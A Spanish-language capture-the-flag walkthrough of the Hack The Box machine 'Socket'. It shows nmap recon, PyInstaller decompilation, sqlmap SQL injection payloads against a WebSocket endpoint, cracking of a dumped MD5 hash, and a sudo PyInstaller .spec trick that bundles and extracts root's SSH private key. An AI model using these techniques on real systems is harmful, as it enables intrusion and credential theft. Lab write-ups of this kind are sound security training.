Descripción

Socket es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Ingeniería inversa y decompilación de paquete PyInstaller para descubrir código Python
  • Inyección SQL a un punto final WebSocket revelando credenciales
  • Credenciales reutilizadas e inicio de sesión SSH
  • Escalada de privilegios a través de un script de construcción de PyInstaller que permite extraer archivos sensibles

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.206.

$ ping -c 3 10.10.11.206
PING 10.10.11.206 (10.10.11.206) 56(84) bytes of data.
64 bytes from 10.10.11.206: icmp_seq=1 ttl=63 time=48.9 ms
64 bytes from 10.10.11.206: icmp_seq=2 ttl=63 time=49.3 ms
64 bytes from 10.10.11.206: icmp_seq=3 ttl=63 time=48.6 ms

--- 10.10.11.206 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 48.560/48.921/49.326/0.314 ms

La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurar que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.10.11.206 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.206
Host is up (0.054s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.16 seconds

Obtenemos dos puertos abiertos: 22, y 80.

Enumeración

Luego realizamos un escaneo más avanzado, con versión del servicio y scripts.

$ nmap 10.10.11.206 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.206
Host is up (0.049s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://qreader.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: qreader.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.50 seconds

Obtenemos tres servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Añadimos el dominio qreader.htb al archivo /etc/hosts.

$ echo '10.10.11.206 qreader.htb' | sudo tee -a /etc/hosts

Encontramos una aplicación web que ofrece un lector y generador de códigos QR. La página web ofrece la descarga de una aplicación para Windows o Linux en los puntos finales /download/windows y /download/linux. Vamos a descargar y analizar la versión para Linux.

$ wget --content-disposition http://qreader.htb/download/linux 
$ unzip QReader_lin_v0.0.2.zip
$ file app/qreader    
app/qreader: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3f71fafa6e2e915b9bed491dd97e1bab785158de, for GNU/Linux 2.6.32, stripped

Encontramos que el archivo descargado es un archivo .zip que extraemos. Luego encontramos que la aplicación consta de un archivo binario ejecutable.

app/qreader

Después de abrir la aplicación encontramos la versión de escritorio de la aplicación web. La aplicación extrae archivos en un directorio aleatorio en el directorio /tmp/, en este caso /tmp/_MEISnc9MT

$ ls -1 /tmp/_MEISnc9MT
base_library.zip
_cffi_backend.cpython-310-x86_64-linux-gnu.so
cv2
importlib_metadata-4.6.4.egg-info
...
numpy
PIL
psutil
PyQt5
setuptools-59.6.0.egg-info
sip.cpython-310-x86_64-linux-gnu.so
websockets-10.2.egg-info
wheel-0.37.1.egg-info

Encontramos muchas bibliotecas nativas en formato .so y referencias a bibliotecas de Python como setuptoolscythonwebsockets o wheel. Buscando cadenas en el archivo encontramos una referencia a la herramienta PyInstaller, la cual puede generar archivos binarios a partir de código Python.

$ strings qreader > strings.txt
$ grep Py strings.txt | head -n 10
Cannot open PyInstaller archive from executable (%s) or external archive (%s)
Py_DontWriteBytecodeFlag
Py_FileSystemDefaultEncoding
Py_FrozenFlag
Py_IgnoreEnvironmentFlag
Py_NoSiteFlag
Py_NoUserSiteDirectory
Py_OptimizeFlag
Py_VerboseFlag
Py_UnbufferedStdioFlag

Podemos utilizar el pyinstxtractor para extraer los archivos Python del binario.

$ git clone https://github.com/extremecoders-re/pyinstxtractor
$ cd pyinstxtractor
$ python pyinstxtractor.py ../qreader 
[+] Processing ../qreader
[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Length of package: 108535118 bytes
[+] Found 305 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_subprocess.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_pyqt5.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: qreader.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.10 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: ../qreader

You can now use a python decompiler on the pyc files within the extracted directory
$ ls qreader_extracted/qreader.pyc
qreader_extracted/qreader.pyc

Encontramos que el archivo qreader.pyc ha sido extraído, el cual parece ser la clase principal de bytecode de la aplicación en Python. Fue compilado con una versión de Python 3.10.

$ file qreader_extracted/qreader.pyc
qreader_extracted/qreader.pyc: Byte-compiled Python module for CPython 3.10 (magic: 3439), timestamp-based, .py timestamp: Thu Jan  1 00:00:00 1970 UTC, .py size: 0 bytes

Podemos usar la aplicación web PyLingual para descompilar el archivo.

$ cat qreader.py
...
VERSION = '0.0.2'
ws_host = 'ws://ws.qreader.htb:5789'
icon_path = './icon.png'
...

Encontramos que se está conectando a un servidor WebSocket en el subdominio ws, agregamos el dominio a el archivo /etc/hosts.

$ echo '10.10.11.206 ws.qreader.htb' | sudo tee -a /etc/hosts 

Ahora podemos usar la funcionalidad About > Version & Updates de la aplicación de escritorio. Se muestran los textos [INFO] You have version 0.0.2 which was released on 26/09/2022 y [INFO] You have the latest version installed!. Al interceptar las conexiones con Wireshark, se observa que se realizan conexiones hacia los endpoints /version y /update. Comienza como una solicitud GET y luego se cambia al protocolo WebSocket. Para la primera solicitud, se envía la cadena {"version": "0.0.2"} y se recibe {"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}. Para la segunda solicitud, se envía la misma cadena y se recibe {"message": "You have the latest version installed!"}.

Explotación

Vamos a probar vulnerabilidades comunes como la inyección SQL en el primer endpoint. Podemos utilizar la herramienta sqlmap para ello y la aplicación sqlmap-websocket-proxy para el proxy.

$ python -m virtualenv .env
$ . .env/bin/activate
$ git clone https://github.com/BKreisel/sqlmap-websocket-proxy
$ pip install ./sqlmap-websocket-proxy
$ sqlmap-websocket-proxy -u 'ws://ws.qreader.htb:5789/version' --data='{"version": "%param%"}' -p 8000
$ sqlmap -u 'http://localhost:8000/?param1=0.0.2' --level 2
...
[INFO] GET parameter 'param1' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
...
---
Parameter: param1 (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: param1=0.0.2" AND 5568=5568 AND "vZIG"="vZIG

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: param1=0.0.2" UNION ALL SELECT NULL,NULL,CHAR(113,120,98,98,113)||CHAR(71,112,88,69,106,99,119,89,78,87,98,98,106,119,102,109,85,72,78,114,83,113,71,80,88,72,120,75,89,108,73,119,100,77,65,86,120,71,70,68)||CHAR(113,98,98,107,113),NULL-- abMl
---
...

El servicio WebSocket está vulnerable a inyección SQL. Está utilizando una base de datos SQLite. Vamos a comprobar las tablas.

$ sqlmap -u 'http://localhost:8000/?param1=0.0.2' --tables
...
6 tables]
+-----------------+
| answers         |
| info            |
| reports         |
| sqlite_sequence |
| users           |
| versions        |
+-----------------+
...

Vamos a enumerar la tabla users.

$ sqlmap -u 'http://localhost:8000/?param1=0.0.2' -T users --dump
...
+----+-------+----------------------------------+----------+
| id | role  | password                         | username |
+----+-------+----------------------------------+----------+
| 1  | admin | 0c090c365fa0559b151a43e0fea39710 | admin    |
+----+-------+----------------------------------+----------+

Encontramos el usuario admin y la contraseña hash MD5, 0c090c365fa0559b151a43e0fea39710. La rompemos con la herramienta John The Ripper.

$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash    
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
denjanjade122566 (admin)     
1g 0:00:00:00 DONE 1.123g/s 9754Kp/s 9754Kc/s 9754KC/s denlanie..denisukkka
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

Encontramos la contraseña denjanjade122566 para el usuario admin. No podemos iniciar sesión mediante SSH utilizando estas credenciales, vamos a enumerar toda la base de datos.

$ sqlmap -u 'http://localhost:8000/?param1=0.0.2' --dump-all
...
Database: <current>
Table: answers
[2 entries]
+----+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------+-------------+---------------+
| id | answer                                                                                                                                                                        | status  | answered_by | answered_date |
+----+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------+-------------+---------------+
| 1  | Hello Json,\\n\\nAs if now we support PNG formart only. We will be adding JPEG/SVG file formats in our next version.\\n\\nThomas Keller                                       | PENDING | admin       | 17/08/2022    |
| 2  | Hello Mike,\\n\\n We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters for now!\\n\\nThomas Keller | PENDING | admin       | 25/09/2022    |
+----+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------+-------------+---------------+
...

Encontramos un mensaje en la base de datos del usuario admin firmado con el nombre Thomas Keller. Re-verificando el servicio SSH con el usuario tkeller lleva a tener una terminal de usuario.

$ ssh tkeller@qreader.htb
...
tkeller@socket:~$ id
uid=1001(tkeller) gid=1001(tkeller) groups=1001(tkeller),1002(shared)

Post-Explotación

El usuario tkeller solo puede ejecutar un comando como usuario root/usr/local/sbin/build-installer.sh.

tkeller@socket:~$ sudo -l
Matching Defaults entries for tkeller on socket:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tkeller may run the following commands on socket:
    (ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh
tkeller@socket:~$ cat /usr/local/sbin/build-installer.sh
#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
  /usr/bin/echo "No enough arguments supplied"
  exit 1;
fi

action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')

if [[ -L $name ]];then
  /usr/bin/echo 'Symlinks are not allowed'
  exit 1;
fi

if [[ $action == 'build' ]]; then
  if [[ $ext == 'spec' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /home/svc/.local/bin/pyinstaller $name
    /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'make' ]]; then
  if [[ $ext == 'py' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
   /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'cleanup' ]]; then
  /usr/bin/rm -r ./build ./dist 2>/dev/null
  /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
  /usr/bin/rm /tmp/qreader* 2>/dev/null
else
  /usr/bin/echo 'Invalid action'
  exit 1;
fi

Este script Bash está diseñado para simplificar el proceso de construcción y limpieza de aplicaciones Python usando PyInstaller. Acepta dos argumentos (para acciones de build o make) o un solo argumento cleanup. Al usar build, espera un archivo .spec, ejecuta pyinstaller, y mueve las carpetas de construcción y distribución generadas a un directorio compartido. Para make, procesa archivos .py, crea un único ejecutable y lo coloca en la misma ubicación compartida. La acción cleanup elimina todas las carpetas temporales y de construcción, junto con cualquier archivo restante en /tmp. El script también impone reglas contra los enlaces simbólicos y valida la entrada para prevenir errores, asegurando un proceso de construcción controlado y confiable.

Podemos utilizar un .spec archivo para leer archivos privilegiados, como la clave SSH privada del usuario root/root/.ssh/id_rsa. Generamos el archivo .spec con la opción make.

tkeller@socket:~$ touch qreader.py
tkeller@socket:~$ sudo build-installer.sh make qreader.py
625 INFO: PyInstaller: 5.6.2
625 INFO: Python: 3.10.6
628 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35
628 INFO: wrote /tmp/qreader.spec
631 INFO: UPX is not available.
637 INFO: Extending PYTHONPATH with paths
['/home/tkeller']
...

Tenemos el archivo qreader.spec en el archivo /tmp/qreader.spec. Copiamos y lo añadimos al array data el archivo SSH tal como:

tkeller@socket:~$ cp /tmp/qreader.spec .
tkeller@socket:~$ nano qreader.spec
tkeller@socket:~$ cat qreader.spec 
# -*- mode: python ; coding: utf-8 -*-


block_cipher = None


a = Analysis(
    ['/home/tkeller/qreader.py'],
    pathex=[],
    binaries=[],
    datas=[('/root/.ssh/*', '.')],
...

Ahora compilamos el archivo.

tkeller@socket:~$ sudo build-installer.sh build qreader.spec 
129 INFO: PyInstaller: 5.6.2
130 INFO: Python: 3.10.6
133 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35
136 INFO: UPX is not available.
138 INFO: Extending PYTHONPATH with paths
['/home/tkeller']
...

Entonces recuperamos el archivo y lo extraemos con el anterior para acceder al archivo id_rsa.

$ scp tkeller@qreader.htb:/opt/shared/dist/qreader .
$ python pyinstxtractor.py qreader
$ ls qreader_extracted/id_rsa     
qreader_extracted/id_rsa
$ cp qreader_extracted/id_rsa .
$ chmod 600 id_rsa

Iniciamos sesión en la cuenta de root usando SSH.

$ ssh -i id_rsa root@qreader.htb
root@socket:~# id
uid=0(root) gid=0(root) groups=0(root)

Flags

En la terminal de root podemos recuperar las flags user.txt y root.txt.

root@socket:~# cat /home/tkeller/user.txt 
<REDACTED>
root@socket:~# cat /root/root.txt 
<REDACTED>